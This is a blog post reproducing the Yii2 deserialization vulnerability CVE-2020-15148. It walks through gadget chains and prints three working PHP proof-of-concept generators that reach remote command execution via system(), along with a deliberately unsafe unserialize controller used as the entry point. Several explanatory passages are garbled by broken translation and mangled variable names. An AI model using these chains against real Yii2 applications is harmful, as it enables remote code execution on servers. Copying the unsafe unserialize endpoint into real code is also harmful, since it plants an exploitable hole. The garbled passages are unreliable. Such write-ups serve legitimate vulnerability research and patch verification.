Yii2 deserialization vulnerability recurrence

Yii2 deserialization vulnerability recurrence

CVE-2020-15148

Vulnerability description

Yii is a general-purpose Web programming framework that can be used to develop various Web applications built with PHP. Because of its component-based framework and well-designed caching support, it is particularly suitable for developing large-scale applications such as portals, communities, content management systems (CMS), e-commerce projects, and RESTful Web services. There is a deserialization vulnerability in Yii2 versions before 2.0.38, the CVE number is CVE-2020-15148

Environment construction

arrive github Download version 2.0.37 of yii2 on

Open /config/web.php

Add a value to cookieValidationKey on line 17, anything

It will be like this without adding

Start with php yii serve --port=xxx

The default home page is displayed, and the environment is successfully built

2.0.37 version vulnerability recurrence

Pre-knowledge

Before the vulnerability is reproduced, add some pre-knowledge points of the yii2 framework. The format of yii2 calling controllers and methods is

http://url/index.php?r=[controller]/[method]

But this is our own environment, there are no services, and there is no entry point for deserialization, so we manually add an entry ourselves

Create a new controller under the /controllers folder, write a new action method in the controller, and execute the incoming aaa variable

Pay attention to namespaces

Then call the custom method under our custom controller in the URL interface

The naming of controllers and action methods here is strictly standardized, which can be clearly seen in the figure, without further explanation.

Above we just tested whether the custom controller can work properly. If you want to write a custom deserialization entry, you still have to write it like this

<?php

namespace app\controllers;
use yii\web\Controller;

class HahaController extends Controller{
    public function actionXixi($aaa){
        // return phpinfo();
        return unserialize(base64_decode($aaa));
        
    }
}
Deserialization chain analysis

The vulnerability before version 2.0.38 starts from the BatchQueryResult class in **/vendor/yiisoft/yii2/db/BatchQueryResult.php

Before starting the analysis chain, let's take a look at these class attributes. These are controllable points and need to be sensitive in the subsequent analysis.

__destruct() of the BatchQueryResult class is the entry to this chain

Follow up **reset()** method

This inside tune use span _dataReader of close()square Law, here follow Enter span close()Of back also, find Do not to use of point, but yes_ Datareader yes batchqueryresult class of attribute, controllable, so we can use Law tune to use one under an indirect class of__ Call () square method

Globally searches the framework for classes with a __call() method

Among them, the Generator in Generator.php meets our requirements. The old rule is to look at the properties part first.

Generator's **__call()** method

here** m e t h o d ∗ ∗ Yes quilt tune use of That indivual no live exist of square method name , exist this in At once Yes ∗ ∗ c l o s e ∗ ∗ , ∗ ∗ method** is the name of the non-existent method being called, here it is **close**, ** method∗∗ is the name of the non-existing method being called, here it is ∗∗close∗∗, and ∗∗attributes** is the following parameter, which is empty here

Continue to follow the format() method, here call_user_func_array is very close to the goal

The two parameters of the format() method, f o r m a t t e r ∗ ∗ At once yes superior one Floor of ∗ ∗ formatter** is the upper layer** formatter∗∗ is the ∗∗method of the previous layer, which is close, a r g u m e n t s ∗ ∗ also Change to make Yes null number Group , ∗ ∗ c a l l u s e r f u n c a r r a y ∗ ∗ tune use back transfer letter number , the first one individual ginseng number do for back transfer letter number , after noodle of ∗ ∗ arguments** also becomes an empty array, **call_user_func_array** calls the callback function, the first parameter is used as the callback function, and the following ** arguments∗∗ also becomes an empty array, ∗∗callu​serf​unca r​array∗∗ calls the callback function, the first parameter is used as the callback function, and the following ∗∗arguments are used as the parameters of the callback function

Continue to follow up the **getFormatter()** method

here** f o r m a t t e r ∗ ∗ At once yes superior one Floor of ∗ ∗ c l o s e ∗ ∗ , and ∗ ∗ formatter** is the **close** of the previous layer, and ** formatter **** is the close **** of the upper layer, and *** this->formatters are our controllable points, that is, we can control the return value of getFormatter() method, that is, we can control the callback function, but here it should be noted that $arguments** is an empty array, that is to say, we can only construct a method without parameters here If you want to use the parameterless method RCE, you need to continue to follow the chain

Our goal is to find a parameterless method inside the yii framework, so use regular to find a method that includes calling call_user_func, the function of call_user_func is to call the first parameter as a callback function

function\s\w*\(\)\n?\s*\{(.*\n)+\s*call_user_func

The result is as follows

Although I have found a lot, there are not many that meet the requirements. The ones that meet the requirements are the run() methods in the CreateAction class and the IndexAction class. The run() methods in the two classes are exactly the same. t h i s − > c h e c k A c c e s s ∗ ∗ and ∗ ∗ this->checkAccess** and ** this−>checkAccess∗∗ and ∗∗this->id are both controllable, so RCE can be done directly

Construct the POC

Let's test it first with **phpinfo()** as a no-parameter method

<?php

namespace yii\db;

use Faker\Generator;

class BatchQueryResult{
    
    private $_dataReader;
    
    private $_batch;

    public function __construct()
    {
        $this->_dataReader = new Generator;
    }

}

namespace Faker;

use yii\db\BatchQueryResult;

class Generator{

    protected $formatters;

    public function __construct()
    {
        $this->formatters['close'] = 'phpinfo';
    }
}


$aaa = new BatchQueryResult;
echo base64_encode(serialize($aaa));

success

Begin to formally construct the POC of RCE

Here we use the **run()** of the CreateAction class as the last step

<?php

namespace yii\db;

use Faker\Generator;

class BatchQueryResult{
    
    private $_dataReader;
    
    public function __construct()
    {
        $this->_dataReader = new Generator;
    }

}

namespace Faker;

use yii\db\BatchQueryResult;
use yii\rest\CreateAction;

class Generator{

    protected $formatters;
    public $sss;

    public function __construct()
    {
        $this->sss = new CreateAction(); //Create a CreateAction class directly
        $this->formatters['close'] = array($this->sss,'run');
        //call_user_func_array The method inside the calling class is to pass an array at the position of the callback function
    }
}

namespace yii\rest;

use Yii;
use yii\base\Model;
use yii\db\BatchQueryResult;
use yii\helpers\Url;
use yii\web\ServerErrorHttpException;
//These are all use copied from the source code, except for use yii\db\BatchQueryResult, nothing else is needed

class CreateAction{

    public function __construct()
    {
        $this->checkAccess = 'system';
        $this->id = 'dir';
    }
}

$aaa = new BatchQueryResult;
echo base64_encode(serialize($aaa));

Deserialization succeeded

The IndexAction class used here is basically the same, and it will not be repeated.

Version 2.0.38 utilizes the RunProcess class

Version comparison

open yii github Looking at the comparison between versions 2.0.38 and 2.0.37, we can see that a **__wake() method has been added here, which directly cuts off the deserialization chain of the BatchQueryResult** class from the source

However, the **__call() method of the Generator class can still be used, so the idea is to find another class similar to the BatchQueryResult class, which contains an attribute controllable point method call point. According to this idea, we can find RunProcess** Class meets requirements

Deserialization chain analysis

**__destruct()** method of RunProcess class

Follow up **stopProcess()** method

here** p r o c e s s − > i s R u n n i n g ( ) ∗ ∗ and of forward ∗ ∗ d a t a R e a d e r ∗ ∗ of ∗ ∗ c l o s e ( ) ∗ ∗ square method very picture , and and ∗ ∗ process->isRunning()** is very similar to the **close()** method of the previous **_dataReader**, and** process−>isRunning()∗∗ is very similar to the ∗∗close()∗∗ method of the previous ∗∗d ataReader∗∗, and the ∗∗process** is controllable, and the latter part is the same as before

Construct the POC
<?php

namespace Codeception\Extension;

use Faker\Generator;

class RunProcess{
    
    private $processes = [];
    
    public function __construct()
    {
        $this->processes[] = new Generator; //Note that $this->processes is assigned in the form of an array
    }

}

namespace Faker;

use Codeception\Extension\RunProcess;
use yii\rest\CreateAction;

class Generator{

    protected $formatters;
    public $sss;

    public function __construct()
    {
        $this->sss = new CreateAction(); //Create a CreateAction class directly
        $this->formatters['isRunning'] = array($this->sss,'run'); //Here you need to modify the method name
        //call_user_func_array The method inside the calling class is to pass an array at the position of the callback function
    }
}

namespace yii\rest;

use Codeception\Extension\RunProcess;


class CreateAction{

    public function __construct()
    {
        $this->checkAccess = 'system';
        $this->id = 'dir';
    }
}

$aaa = new RunProcess;
echo base64_encode(serialize($aaa));

Deserialization succeeded

Version 2.0.38 utilizes __toString()

Deserialization chain analysis

Our purpose is to bypass the BatchQueryResult class, there is also a Swift_KeyCache_DiskKeyCache class of DiskKeyCache.php that can be used

**__destruct()** method of Swift_KeyCache_DiskKeyCache class

Follow up the clearAll() method, which can be seen here t h i s − > p a t h ∗ ∗ quilt enter Row Yes Character symbol string spell catch , and ∗ ∗ this->path** is string concatenated, and ** This − >path **** is string concatenated, and **** this->path is under our control, so it is possible to call the toString() method of a class. Here $nsKey is also under our control. So it is not a problem to execute this string concatenation

Global search for the **toString()** method, the goal is to find a method that calls the method with an attribute

There are too many to use, the first one you find is the XmlBuilder class

Here **$this->_dom_ can still use the previous __call()** method

Construct the POC
<?php

namespace Codeception\Util{
    
    use Faker\Generator;

    class XmlBuilder{
        protected $__dom__;
    
        public function __construct()
        {
            $this->__dom__ = new Generator;
        }
    }
}



namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
    
        protected $formatters;
        public $sss;
    
        public function __construct()
        {
            $this->sss = new CreateAction(); //Create a CreateAction class directly
            $this->formatters['saveXML'] = array($this->sss,'run');
            //call_user_func_array The method inside the calling class is to pass an array at the position of the callback function
        }
    }
}




namespace yii\rest{
    class CreateAction{

        public function __construct()
        {
            $this->checkAccess = 'system';
            $this->id = 'dir';
        }
    }
}

namespace{  //global namespace
    use Codeception\Util\XmlBuilder;

    class Swift_KeyCache_DiskKeyCache{
    
        private $path;
        private $keys = [];
    
        public function __construct()
        {
            $this->path = new XmlBuilder;
            $this->keys = ['haha'];
        }
    
    }
    
    
    $aaa = new Swift_KeyCache_DiskKeyCache;
    echo base64_encode(serialize($aaa));
}

Deserialization succeeded

Similar to **__toString() to __call(), there are also See** classes, Covers classes, Deprecated classes, Generic classes... There are too many, and the use ideas are similar

There is also a FnStream class that directly transfers call_user_func, this idea is similar to the previous second half chain idea

Tags: PHP security Web Security

Posted by Sportfishing on Wed, 20 Jul 2022 21:41:07 +0530